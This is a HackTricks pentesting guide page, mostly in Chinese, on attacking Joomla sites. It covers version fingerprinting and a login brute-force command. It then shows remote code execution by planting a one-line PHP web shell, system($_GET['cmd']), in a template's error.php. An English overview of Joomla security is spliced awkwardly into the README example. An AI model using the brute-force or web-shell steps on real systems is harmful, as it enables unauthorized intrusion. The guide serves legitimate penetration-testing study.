hacktricks/network-services-pentesting/pentesting-web/joomla.md

5.4 KiB
Raw Blame History

Joomla

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Joomla统计信息

Joomla收集一些匿名的使用统计信息例如Joomla、PHP和数据库版本的分布以及Joomla安装中使用的服务器操作系统。这些数据可以通过他们的公共API查询。

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

枚举

发现/足迹

  • 检查 meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Introduction

Joomla is a popular open-source content management system (CMS) written in PHP. It is used to build and manage websites of all sizes and types.

Pentesting Joomla

When pentesting Joomla websites, some common vulnerabilities to look for include:

  1. Outdated Joomla versions
  2. Vulnerable extensions
  3. Weak administrator passwords
  4. SQL injection
  5. Cross-site scripting (XSS)
  6. File inclusion vulnerabilities

Tools for Pentesting Joomla

Some tools that can be used for pentesting Joomla websites include:

  • JoomScan: A tool specifically designed for Joomla pentesting.
  • OWASP Joomla Vulnerability Scanner: Helps in identifying security issues in Joomla websites.
  • SQLMap: Useful for detecting and exploiting SQL injection vulnerabilities.
  • Burp Suite: Helps in intercepting and modifying web traffic to test for vulnerabilities.

Best Practices for Securing Joomla

To secure Joomla websites, consider implementing the following best practices:

  1. Keep Joomla and its extensions up to date.
  2. Use strong and unique passwords for administrators.
  3. Regularly backup website data.
  4. Implement proper file permissions.
  5. Disable unnecessary services and components.
  6. Use HTTPS to encrypt data transmission.

By following these best practices and conducting regular security assessments, you can help protect Joomla websites from potential attacks.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

版本

  • /administrator/manifests/files/joomla.xml 中可以看到版本。
  • /language/en-GB/en-GB.xml 中可以获取 Joomla 的版本。
  • plugins/system/cache/cache.xml 中可以看到一个大致的版本。
droopescan scan joomla --url http://joomla-site.local/

Brute-Force

您可以使用此脚本尝试对登录进行暴力破解。

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

如果你成功获取了管理员凭证,你可以通过添加一小段PHP代码来实现RCE。我们可以通过自定义一个模板来实现这一点。

  1. Configuration下方点击**Templates**以打开模板菜单。
  2. 点击一个模板名称。让我们选择Template列标题下的**protostar。这将带我们到Templates: Customise**页面。
  3. 最后,你可以点击一个页面以查看页面源代码。让我们选择**error.php页面。我们将添加一个PHP 一行代码来执行代码**,如下所示:
    system($_GET['cmd']);
    
  4. 保存并关闭
  5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id